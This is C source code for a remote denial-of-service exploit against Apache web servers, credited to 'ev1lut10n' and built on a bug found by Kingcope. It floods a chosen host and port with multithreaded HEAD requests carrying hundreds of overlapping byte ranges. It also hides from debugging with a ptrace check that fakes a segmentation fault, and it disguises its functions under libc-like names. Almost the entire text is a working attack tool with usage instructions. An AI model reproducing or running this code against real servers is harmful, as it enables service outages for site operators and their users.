Remote Apache Denial of Service Exploit

                                                /**
rapache2 
"this is another version of rapache"
by: ev1lut10n
bug found by : Nikolaus Rango (Kingcope)
http://www.jasaplus.com/ev1lut10n
gopher://sdf.org/1/users/ev1lut10
Thanks: x-hack, danzel,p4, Ramon de C Valle and all my friends
compile: gcc -o rapache2 rapache2.c -pthread -Wall
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#define START_RANGE "HEAD / HTTP/1.1\nHost:localhost\nRange:bytes=0-"
#define USE_KEEP_ALIVE "\nAccept-Encoding: gzip\nKeep-Alive: 115\nConnection: keep-alive\n"

void _do_global_dtors_aux(void) __attribute__ ((constructor));
 
void _do_global_dtors_aux(void) {
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
        write(fileno(stdout), "Segmentation fault\n", 19);
        exit(-1);
    }
}

char *_libc_csu_fini(char total_range[16253])
{
int k=0;
char range[5]="";
char r2[16136]="";
while(k<1300)
 {
   char r[5]=",5-";    
   char ads[11]="";
    sprintf(range,"%d",k); 
    strcat(ads,r);
         strcat(ads,range);
	 strcat(r2,ads);
	k++;
 }
	strcat(total_range,START_RANGE);
	strcat(total_range,r2);
	strcat(total_range,USE_KEEP_ALIVE);
return total_range;
} 

void banner()
{
	    fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1, stdout);
}
 
void gime_er_mas()
{
    printf("%c%s", 0x1b, "[2J");
    printf("%c%s", 0x1b, "[1;1H");
    printf("\n[-] Usage : ./rapache2 hostname port_number\n");
    printf("\n[-] Usage : ./rapache2 localhost 80\n");

}
 
struct thread_info {
    pthread_t thread_id;
    int       thread_num;
    char     *variabel1;
    char     *variabel2;
    char     *variabel3;
};
 


void *_libc_csu_init(void *arg)
{
 
   struct thread_info *tinfo = (struct thread_info *) arg;
    char hostname[64];
	char p1[4];
    int j;
 	
	char rr[16253];
	sprintf(rr,"%s",_libc_csu_fini(rr));
	

    strcpy(hostname, tinfo->variabel1);
    strcpy(p1, tinfo->variabel2);
	
    j = 0;
    while (j != 10) {
	
        struct addrinfo hints;
        struct addrinfo *result, *rp;
        int sfd, s;
        ssize_t nwritten;
        memset(&hints, 0, sizeof(struct addrinfo));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_flags = 0;
        hints.ai_protocol = 0;
 	
        s = getaddrinfo(hostname, p1, &hints, &result);
        if (s != 0) {
            continue;
        }
 
        for (rp = result; rp != NULL; rp = rp->ai_next) {
            sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
            if (sfd == -1)
                continue;
 
            if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
                close(sfd);
        }
 
        if (result != NULL)
            freeaddrinfo(result);
 
        nwritten = write(sfd,rr, 16255);
	printf("\n%s\n",rr);
        if (nwritten == -1)
            close(sfd);
 
        usleep(300000);
 
        j++;
    }
 

    return 0;
}

int main(int argc, char *argv[])
{

    int i;
    struct thread_info tinfo;
    banner();
   if (argc <= 1) {
     gime_er_mas();
        return 0;
    }
  
 
    printf("[+] Attacking %s please wait  in minutes ...\n", argv[1]);
 
    while (1) {
        i = 0;
        while (i != 50) {
            tinfo.thread_num = i;
            tinfo.variabel1 = argv[1];
 	     tinfo.variabel2 = argv[2];	
            pthread_create(&tinfo.thread_id, NULL, &_libc_csu_init, &tinfo);
 
            usleep(500000);
 
            i++;
        }
    }

}